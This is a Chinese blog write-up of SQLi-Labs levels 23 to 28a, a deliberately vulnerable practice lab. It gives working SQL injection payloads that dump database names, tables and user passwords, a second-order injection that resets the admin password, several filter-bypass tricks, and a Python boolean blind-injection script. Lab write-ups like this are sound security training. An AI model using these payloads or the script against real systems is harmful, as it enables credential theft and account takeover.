《SQLi-Labs》04. Less 23~28a

最新推荐文章于 2024-07-30 16:49:30 发布
最新推荐文章于 2024-07-30 16:49:30 发布
阅读量5.2k 收藏
点赞数
分类专栏： WriteUp：Security-Lab 文章标签： less 前端 css
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/KeepPromise/article/details/133797545
版权

title: 《SQLi-Labs》04. Less 23~28a
date: 2023-10-19 19:37:40
updated: 2023-10-19 19:38:40
categories: WriteUp：Security-Lab
excerpt: 联合注入，注释符过滤绕过之构造闭合，%00 截断、二次注入、报错注入，空格过滤绕过，双写绕过、布尔盲注。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png

SQLi-Labs

靶场部署在 VMware - Win7。

靶场地址：https://github.com/Audi-1/sqli-labs

索引

  • Less-23：联合注入，注释符过滤绕过之构造闭合，%00 截断，字符型【'】。
  • Less-24：二次注入。字符型【'】。
  • Less-25：联合注入，与 Less-23 思路一致。双写绕过。字符型【'】。
  • Less-25a：与 Less-25 差别不大。数字型。
  • Less-26：报错注入，空格过滤绕过，双写绕过，注释符过滤绕过之构造闭合，%00 截断，字符型【'】。
  • Less-26a：与 Less-26 类似，布尔盲注。字符型【')】。
  • Less-27：与 Less-26 类似，报错注入。字符型【'】。
  • Less-27a：与 Less-27 类似，联合注入。字符型【"】。
  • Less-28：与前面几题都类似，联合注入。字符型【')】。
  • Less-28a：与 Less-28 不能说完全相同，只能说一模一样。

Less-23

思路与 Less1 一致。

题解

在这里插入图片描述

Less-23 和 Less-1 很像啊。只不过注释符不再起作用了，猜测注释符被过滤了。

不过可以通过构造闭合语句来使用联合注入。

构造闭合：

url + ?id=1' or '1'='1

在这里插入图片描述

判断回显位：

url + ?id=1' union select 1,2'

url + ?id=1' union select 1,2,3'

url + ?id=1' union select 1,2,3,4'

以上语句也可使用 %00 截断。

?id=1' union select 1,2,3,4; %00

爆库：

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1

另一种写法（使用 %00 截断）：

url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00

爆表：

url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆字段：

url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

获取敏感数据：

url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1

Less-24

在这里插入图片描述

题解

这题可以使用 name：Dumb，Password：Dumb 登录。

在这里出现了传说中的二次注入。另外，这关的目标是获得 admin 用户的权限。

二次注入一般用于白盒测试，黑盒测试就算找到注入点也不知道能不能攻击。

先直接看过程与分析吧。

先点击注册用户，注册 admin，提示用户已存在。

那就注册一个用户 admin'#，密码随便。

注册之后可以看到注册的用户已插入数据库。

在这里插入图片描述

此时使用 admin'# 用户登录并修改密码，这里修改为 hello6。

在这里插入图片描述

修改后再次查看数据库，可以看到 admin'# 用户密码没变，但 admin 用户的密码被更改了。

在这里插入图片描述

admin 密码都能自定义了，权限自然唾手可得了。

任务完成。

最后看看修改密码时发生了什么。看下源码。

在这里插入图片描述

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于信任数据库存放的信息，用户名代入时未作过滤。

所以代入以上构造的数据时 SQL 语句就是：

$sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' ";

语句注释后就成了修改 admin 用户密码的操作。

总结

二次注入：将可能导致 sql 注入的字符先存入到数据库中，当再次调用这个恶意构造的字符时，就可以触发 sql 注入。

二次注入一般用于白盒测试，黑盒测试就算找到注入点也不知道能不能攻击。

Less-25

题解

根据提示，先测试一下：

爆库：

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3  or '1'='1

在这里插入图片描述

“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。

也可以使用 || 与 &&

爆库：

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-25a

题解

这题与 Less-25 没什么两样，区别在于是数字型注入，且数据库报错信息被过滤了一些。

爆库：

url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-26

题解

测试一下。

爆库：

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

这一关过滤了注释符、空格、or、and。

“ or ” 的过滤可以双写绕过，注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。

这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。

补充一下空格绕过的方法，可以用以下字符代替：

%09    TAB 键（水平）
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键（垂直）
%a0    空格

不过由于平台问题以上绕过 Apache 解析不了，所以也可以通过灵活使用括号【(】来绕过空格。

判断字符类型：

url + ?id=1'              报错
url + ?id=1'oorr'1'='1    回显正常
url + ?id=1';%00          回显正常

在这里插入图片描述

为单引号字符型。

判断回显位。

url + ?id=1'union(select(1));%00            报错
url + ?id=1'union(select(1),(2));%00        报错
url + ?id=1'union(select(1),(2),(3));%00    回显正常

不过报错注入空格使用比较少，所以直接上报错注入。

爆表：

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1

爆字段：

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆敏感信息：

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

总结

  • 报错注入，详情参考 Less-17。
  • 空格过滤绕过。
  • 双写绕过。
  • 构造闭合绕过。

Less-26a

题解

这题与 Less-26 类似，但是不显示报错信息，使用布尔盲注。

爆表：

url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0
url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),2,1))>100,1,0)||('0
...

爆字段：

url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0

爆敏感信息：

url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0

这里附上一个布尔盲注自动化脚本：

import requests

url = "http://192.168.8.222/lab/sqli/Less-26a/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()&&table_name="users")),{i},1))>{mid},1,0)%23'
        # payload = f'if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Less-27

题解

Less-27 没有过滤 and 和 or，过滤了 select 和 union，不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多

这里直接上报错注入。

爆表：

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0

爆字段：

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0

爆敏感信息：

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0

Less-27a

题解

与 Less-27 类似，但是不返回报错信息。

爆字段

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆敏感信息：

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1
# 爆所有信息似乎有问题，只能通过 id 遍历。
url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Awhere%0Aid=1%0Aand"1

Less-28

题解

字符型【')】。过滤替换了一次 union select。依旧双写绕过。

爆表：

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆字段：

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆敏感数据：

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1

Less-28a

题解

字符型【')】。只过滤替换了一次 union select，其他的没有过滤。

那就直接和 Less-28 一样了。其他方法这里就不尝试了。

谦，美德也，过谦者怀诈。默，懿行也，过默者藏奸。

——《格言联璧》（清）金缨

永别了，赛艾斯滴恩
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli注入详解——＞sqli-labs less-1~65
qq_51780583的博客
03-18 782
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意，UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。服务器端有两个部分：第一部分为tomcat为引擎的jsp型服务器，第二部分为apache为引擎的php服务器，真正提供web服务器的是php服务器。工作流程为：client访问服务器能直接访问到tomcat服务器，然后tomcat服务器再向apache服务器请求数据。
sqli-labs通关（less21~less30）
箭雨镜屋
09-03 3054
Less21 这关刚开始还是和Less20一样，进去是个登录的页面 输入正确的用户名和密码之后，返回的页面有User-Agent，客户端ip地址，cookie，用户名，密码，用户id等信息 登录过程中burpsuite也是抓到两个报文，第一个是发送用户名和密码的POST报文，第二个是GET报文且携带cookie 仔细看这关的GET报文，就和上一关不一样了，Cookie中uname参数的值是base64编码的。 把uname的值粘贴到burpsuite的decoder模块，先decod.
sqlilabs less-28~less-28a
TA不懒，但还没有添加简介
07-22 669
sqlilabs less-28~less-8a
sqli-labs通关攻略教程六（less26~less28a）
m0_55854679的博客
07-21 832
less 26 方法1 由题目可知，本题绕过了空格和注释，注释符用|| '1'='1或者;%00绕过。 空白符绕过 （1）mysql空白符：%09、%0A、%0B、%0D、%20、%0C、%A0、/*xxx*/ （2）正则空白符：%09、%0A、%0B、%0D、%20 25%为百分号，%25A0就是空白符 绕开空格 %09——TAB键（水平） %0a——新建一行 %0c——新的一页 %0d return 功能 %0b——TAB键（垂直） %a0——空格 由源码可知，题目还将and、or等下列
sqli-labs解题大法21~28a
weixin_43733035的博客
01-23 598
Less-21: 第21关，根据前面18关之后的经验，我决定先登录一下试试，然后… 瞬间爆炸了有木有，一堆英文完全看不懂啥意思，不过幸好有百度翻译， emmmm，好像没什么用，该没看懂还是没看懂，不过看到有user-agent和http，就决定先用' and union select 1,2,3#试一下，发现语句会直接输出，并没有注入。 然而，当我在cookie之中写payload时页面出现了...
sqli-labs详解------持续更新
yuqie的博客
06-20 2785
如今已经很少使用手动注入了，写这篇的初心在于掌握并熟记手动注入，
（手工）【sqli-labs28、28a】字符型注入、盲注、过滤
07-14 1072
【SQL-字符型注入、盲注、过滤】
sqli-labs靶场通关(Less-23~28a)
qq_43381463的博客
01-29 153
sqli-labs靶场通关(Less-23~28a)
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
热门推荐
Jay17的博客
08-03 3万+
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析 详细，超级详细
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
jeakinscheung-sqli-labs-php7-master.zip
03-16
标题 "jeakinscheung-sqli-labs-php7-master.zip" 暗示这是一个关于SQL注入（SQL Injection）练习平台的源代码库，专为PHP7优化。在描述中提到，用户在尝试创建数据库连接时遇到问题，可能是因为原始的SQL注入实验室...
sqli-labs.rar
12-22
sqli-labs是一个专门设计用于学习和练习SQL注入技术的平台，特别适合初学者了解和提升SQL注入防御技能。 首先，要搭建sqli-labs，你需要准备以下工具： 1. PHPstudy：一个集成的Web服务器环境，包括Apache、Nginx、...
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
CSS、less、 Sass、
qq_33715850的博客
07-24 337
CSS、less、 Sass、
【分享】前端程序员-技术网站推荐
一位前行者的博客
07-30 417
对于前端开发人员来说，以下是一些推荐的技术网站，这些网站提供了丰富的资源和知识，可以帮助你提升前端开发技能：收集一些 、、 的网站 vite 官方中文文档 element-plus 官方中文文档 pinia 官方中文文档 vue-router 官方中文文档 Tailwind CSS 官方文档 vitest 官方中文文档 es6 中文文档 axios 官方中文文档 vxetable 官方中文文档 lodash 中文文档 echarts 官方中文文档 animat
js、ts、argular、nodejs学习心得
最新发布
07-30 198
工作中需要前端argular开发桌面程序，后端用nodejs开发服务器，商用软件架构。
苍穹外卖浏览器前端界面修改
程序员象漂亮的博客
07-25 274
客户原始方案是期望做一个Spring Boot + Vue的饿了么系统，但时间上太仓促，所以建议选择开源的苍穹外码目作为作业提交。客户接受了建议的方案后，期望对前端页面提出了一些个性化的定制修改。
electron 主进程和渲染进程
qq_21087199的博客
07-29 265
虽然最近一年前端大环境不好，但是大家还是要加油鸭！，努力总不会错，千军万马过独木桥，希望大家都是闯过去那一个。进入正题。
sqli-labs-less
07-25
抱歉，但我无法回答关于sqli-labs-less的问题。 #### 引用[.reference_title] - *1* *2* *3* [sqli-labs-less-1完整解析，小白干货](https://blog.csdn.net/qq_46432288/article/details/109226871)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值